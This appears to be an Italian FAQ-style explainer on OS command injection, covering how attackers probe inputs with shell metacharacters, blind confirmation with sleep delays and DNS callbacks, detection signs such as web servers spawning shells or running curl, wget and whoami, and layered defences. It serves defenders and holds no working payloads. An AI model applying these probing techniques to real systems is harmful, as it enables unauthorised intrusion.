Gli attaccanti sondano le funzionalità dell'applicazione che interagiscono con il sistema operativo, come operazioni sui file, ricerche DNS, elaborazione delle immagini o interfacce di amministrazione. Testano parametri URL, campi modulo, header, cookie e nomi di file con metacaratteri della shell.
Per l'iniezione blind, usano ritardi temporali come sleep 10 e callback DNS out-of-band per confermare l'esecuzione.
Gli indicatori chiave includono processi del server web che generano bash, sh, cmd.exe, o PowerShell come processi figli.
Comandi come whoami, id, ifconfig, curl, wget, o nslookup eseguiti da processi padre dell'applicazione web sono anch'essi segnali forti. Richieste in uscita insolite e ricerche DNS verso domini sconosciuti possono indicare uno sfruttamento.
La command injection è una delle classi di vulnerabilità più gravi perché fornisce un percorso diretto da una richiesta web al controllo a livello di sistema operativo. CWE-78 ha raggiunto il n. 1 nella classifica KEV.
Il suo tasso di weaponization supera la sua prevalenza grezza perché può fornire accesso immediato alla shell in un solo passaggio.
Sì. I comandi iniettati vengono eseguiti con i privilegi dell'applicazione vulnerabile. Se l'applicazione viene eseguita come root o con privilegi elevati, gli attaccanti possono ottenere il pieno controllo del sistema.
Anche con privilegi inferiori, possono effettuare escalation, creare accesso persistente o muoversi lateralmente. Le falle di Coolify hanno mostrato che la command injection può portare all'evasione dal container e alla compromissione completa del server.
Nessun singolo strumento fornisce una copertura completa. SAST individua pattern di codice pericolosi, DAST testa le applicazioni in esecuzione con payload e RASP rileva l'effettiva invocazione di comandi all'interno dell'applicazione.
Il monitoraggio comportamentale degli endpoint rileva lo sfruttamento dopo l'esecuzione. La copertura a più livelli funziona meglio.
Le organizzazioni che si affidano ad appliance di rete, dispositivi IoT o applicazioni web con integrazione a livello di sistema operativo sono particolarmente esposte.
Gli operatori di infrastrutture critiche affrontano un rischio particolare, come hanno mostrato gli attacchi del maggio 2023 contro 22 aziende energetiche danesi.




